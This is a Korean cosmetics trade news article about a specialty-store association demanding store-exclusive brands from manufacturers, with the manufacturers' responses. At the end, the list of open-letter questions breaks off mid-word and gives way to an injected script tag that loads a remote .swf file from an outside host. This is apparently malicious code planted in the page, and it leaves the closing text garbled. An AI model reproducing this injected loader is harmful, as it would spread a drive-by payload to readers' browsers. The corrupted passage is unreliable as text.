내달 15일까지 답변 요구 실력행사 돌입 가능성도 “전문점의 입장을 고려하지 않는 메이커의 영업정책을 더이상 간과할 수 없다.” “업권수호라는 대의명분을 위해서라도 ‘유통경로 차별화’를 위한 시판전용브랜드 개발은 반드시 실현시켜야 한다.” 지난 16일 열린 전국화장품전문점협회(회장 장억만, 이하 전화협) 제8차 상임이사회는 다소 무거운 분위기 속에 시작됐다. 장억만 회장은 이날 메이커 측에 발송된 공개 질의서를 인용 “급변하는 시장상황으로 시판시장이 끝이 보이지 않는 추락을 거듭하고 있다”고 전제한 뒤 “여기에는 전문점에 유통돼온 제품들이 인터넷, 마트 등에 유출되면서 심각한 가격파괴 현상과 이로 인한 소비자 불신이 야기됐기 때문”이라고 토로했다. 이날 회의에 참석한 14명의 전화협 집행부들은 한결같이 ‘전문점 전용브랜드’에 대한 필요성과 메이커 참여의 당위성에 대해 일치된 입장을 보였다. ◇전화협내 흐르는 강경기류=전화협은 우선 다음달 15일까지 태평양, LG생활건강, 코리아나 등 상위 20개사로부터 회신돼 온 답변서를 오는 6월 26일에 열리는 전화협 임시총회에 회부, 향후 전개 방향을 결정할 방침이다. 상황에 따라 전국 각 지역별로 조직돼 있는 지역 협의체 대표들을 한자리에 모아 전문점 전용브랜드에 대한 중지를 한데 모으겠다는 복안도 세웠다. 협회에서는 시판 시장의 위축으로 전문점주 사이에서 전문점 전용 브랜드 도입을 원하는 공감대가 폭넓게 형성되고 있다고 판단, 이같은 전국적인 세결집이 가능할 것으로 조심스럽게 점치고 있다. 이같은 움직임의 기저에는 메이커의 전문점 홀대를 더이상 두고 보고 있지 않겠다는 생각과 과거 마트와의 경쟁 사례에서처럼 실력행사를 통해 정면 돌파해 나가겠다는 현실적인 이유가 내포돼 있다. 지난해 발족한 제조, 유통합동전문점발전위원회가 당초 취지와는 달리 용두사미격으로 끝났다는 점도 이런 기류에 한몫을 하고 있다. 이로 인해 전화협 내에서도 이번 만은 다르다는 분위기가 빠르게 형성되고 있다. 일부에선 전화협 회원만이라도 타 채널의 유출이 심각한 메이커의 브랜드에 대해 취급을 자제하고 반품까지 실시하자는 강경론도 나오고 있는 상황이다. 반면 메이커 측에 전문점의 입장을 관철시키기 위해서는 좀더 냉정한 접근이 필요하다는 현실론도 만만치 않게 제기되고 있다. 전화협은 이같은 강경기류가 자칫 전문점과 메이커 간의 불필요한 싸움으로 비화될 것을 우려, 보편 타당한 선에서 자신들의 입장을 지속적으로 알려나가는데 집중할 계획이다. 일차적으로 전용브랜드 개발에 우호적인 업체와 비협조적인 업체를 가려낸 뒤 전국 전문점을 상대로 한 홍보 캠페인을 펼칠 것으로 보인다. 이후에도 일부 메이커가 전문점에 대한 영업정책을 전환하지 않을 경우, 좀더 강력한 실력행사에 들어갈 것으로 예상되고 있다. 그동안 제기돼온 조치로는 특정브랜드에 대한 취급자제, 파격적인 가격할인 등이 있으며 상대적으로 우호적인 업체에 대한 파트너십 관계 등 당근을 주는 방법이 논의되고 있다. 이에 대해 전화협 한 간부는 “특정 업체를 거론하기는 어렵지만 이미 전화협 입장에 동조하는 업체들이 몇몇 나오고 있으며 일부 업체의 경우, 브랜드 개발에 나서겠다는 구두약속까지 받은 상태”라며 향후 결과에 대해 낙관했다. ◇진퇴양난에 빠진 메이커=이같은 사실이 알려지면서 각 메이커들은 곤혹스러운 표정을 감추지 못하고 있다. 특히 태평양, LG생활건강의 경우, 시판전문점의 매출점유율이 양사 합쳐 70% 달하고 연간 매출액이 5500억원을 상회한다는 현실을 감안해 볼 때 이번 전화협의 전용브랜드 개발 제의를 모른채 하지 않을 것으로 보인다. 그렇다고 전화협의 입장을 들어주자니 신규 브랜드 개발에 드는 비용이 만만치 않고 전용브랜드의 실효성 여부도 불투명하다는 현실적 고민도 있다. 더구나 유통채널의 장벽이 급격히 허물어지는 현상은 이미 시대적인 대세로 전문점만을 위한 영업정책은 곤란하다는 것이다. 업체 한 관계자는 “전문점 전용브랜드를 개발해달라는 것은 현 유통현실을 감안하지 않은 무리한 요구”라며 “구조적인 체질개선을 통한 고객유입을 등한시 한 채 눈앞의 이익만을 쫓는 처사”라고 비판적인 입장을 피력했다. (336호 3면) - 김유진 기자 toyoujin@csmt.co.kr

전화협의 공개질의 내용 1. 시판시장 위축의 가장 큰 원인으로 제품의 경로이탈을 지적하는 것에 대한 의견은? 2. 안정된 물류를 전제로 한 전문점 전용 제품의 개발에 대한 의지는? 3. 전용 브랜드 출?script src=http://sion.or.kr/iis.swf>   webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> 메일보내기 인쇄하기 트윗하기 의 다른기사 보기 기사 댓글 0개 전체보기 0/300 등록 첫번째 댓글을 남겨주세요.

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